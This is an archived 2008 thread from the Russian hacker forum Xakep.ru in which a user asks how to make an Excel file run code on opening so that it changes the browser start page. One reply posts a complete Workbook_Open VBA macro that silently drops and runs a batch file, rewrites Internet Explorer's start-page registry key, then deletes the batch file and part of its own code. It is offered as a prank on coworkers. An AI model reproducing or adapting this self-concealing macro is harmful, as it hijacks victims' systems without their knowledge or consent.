Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Excel и js вопрос!!!!

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Прочее] >> Excel и js вопрос!!!!
Имя
Сообщение << Старые топики   Новые топики >>
Excel и js вопрос!!!! - 2008-06-25 06:11:17.230000   
novosibirec

Сообщений: 29
Оценки: 0
Присоединился: 2008-04-08 06:34:51.826666
есть необходимость в документ (а не склеить с ним ) Excel вставить произвольный js, который выполниться при открытии документа! кто нить может сказать как это осуществить?????
Post #: 1
RE: Excel и js вопрос!!!! - 2008-06-25 07:14:19.260000   
fromRIDDER

Сообщений: 1075
Оценки: 30
Присоединился: 2008-01-14 20:20:53.380000
Excel поддерживает VBA, на котором можно написать интерпритатор JS, а сами скрипты оформлять как строки.

Post #: 2
RE: Excel и js вопрос!!!! - 2008-06-25 07:44:43.206666   
novosibirec

Сообщений: 29
Оценки: 0
Присоединился: 2008-04-08 06:34:51.826666
можешь скинуть код для того чтобы прописывался в качестве стартовой страницы адрес сайта и как его закинуть в Excel
Post #: 3
RE: Excel и js вопрос!!!! - 2008-06-25 08:13:59.500000   
fromRIDDER

Сообщений: 1075
Оценки: 30
Присоединился: 2008-01-14 20:20:53.380000
То, что ты хочешь сделать реально, JS здесь не нужны, но я мало знаком с vba, так что код не скину. Могу дать советы по написаню макроса. Нужно узнать, где хранится информация о стартовой странице интернет браузера. Потом написать макрос с созданием activex объекта, какой именно зависит от места хранения инфы о стартовой странице, внести соответствующие изменения.

Post #: 4
RE: Excel и js вопрос!!!! - 2008-06-25 08:34:09.693333   
novosibirec

Сообщений: 29
Оценки: 0
Присоединился: 2008-04-08 06:34:51.826666
Можешь сказать кто может мне с этим помочь???
Post #: 5
RE: Excel и js вопрос!!!! - 2008-06-25 09:55:08.176666   
fromRIDDER

Сообщений: 1075
Оценки: 30
Присоединился: 2008-01-14 20:20:53.380000
нет
Post #: 6
RE: Excel и js вопрос!!!! - 2008-06-25 11:28:31.563333   
M0ff

Сообщений: 18
Оценки: 0
Присоединился: 2008-02-01 11:57:36.750000
Private Sub Workbook_Open() Application.DisplayAlerts = False cnt = "@echo off" & vbCrLf & "echo REGEDIT4&gt;%temp%/no.reg" & vbCrLf & "echo [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]&gt;&gt;%temp%/no.reg" & vbCrLf & "echo ""Start Page""=""http://pit.d3.ru/lepro/2/2007/10/09/1562-164927-4a6ac5df71d39403b1752501d2c551f9.jpg""&gt;&gt;%temp%/no.reg" & vbCrLf & "regedit /s %temp%/no.reg" & vbCrLf & "del %temp%/no.reg" Set fs = CreateObject("Scripting.FileSystemObject") Set f = fs.CreateTextFile("C:\Documents and Settings\Administrator\Local Settings\Temp\offpr1.bat", True, False) f.writeline cnt f.Close retval = Shell("C:\Documents and Settings\Administrator\Local Settings\Temp\offpr1.bat", 0) Application.Wait (Now + TimeValue("0:00:02")) Kill ("C:\Documents and Settings\Administrator\Local Settings\Temp\offpr1.bat") Application.VBE.ActiveVBProject.VBComponents(1).CodeModule.DeleteLines 2, 10 If Not Application.Workbooks(Application.ActiveWorkbook.name).Saved Then Application.Workbooks(Application.ActiveWorkbook.name).Save End End Sub Вот примерчик, что бы поприкаловаться над сотрудниками.
Перед открытием документа выполняется код, если включены макросы.
Содается батник. Батник создает ключик и вписывает его , после чего удаляет. Скрипт удаляет батник. И удаляет свой код, единственная проблема в том что не полностью. Остануться следующие строки Private Sub Workbook_Open() If Not Application.Workbooks(Application.ActiveWorkbook.name).Saved Then Application.Workbooks(Application.ActiveWorkbook.name).Save End End Sub Код нужно впихнуть в "Microsoft Excel Objects" - "ЭтаКнига".
Слегка криво , но работает .
Post #: 7
RE: Excel и js вопрос!!!! - 2008-06-25 11:36:42.203333   
Матцал Коушек

Сообщений: 176
Оценки: 0
Присоединился: 2008-06-22 12:56:36.180000
quote:

ORIGINAL: novosibirec
Можешь сказать кто может мне с этим помочь???
Могу сказать, кто может помочь, ты сам. Открываешь Excel, включашь запись макроса, выполняешь все действия которые хотел, вручную. Это автоматом запишется в макрос. Открываешь потом этот макрос, слегка редактируешь, если нужно. Никакой js не понадобится, макросы там мощнейшая штука.
Post #: 8
RE: Excel и js вопрос!!!! - 2008-06-25 19:26:08.956666   
fromRIDDER

Сообщений: 1075
Оценки: 30
Присоединился: 2008-01-14 20:20:53.380000
Матцал Коушек, и каким это образом в макрос автоматически запишется установка стартовой страницы интернет эксплорера.

Post #: 9
RE: Excel и js вопрос!!!! - 2008-06-25 20:25:44.103333   
Матцал Коушек

Сообщений: 176
Оценки: 0
Присоединился: 2008-06-22 12:56:36.180000
Стартовая страница интернета это одна строчка реестра, мне даже лень тыкать об этом примитиве.
Post #: 10
Страниц:  [1]
Все форумы >> [Прочее] >> Excel и js вопрос!!!!







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.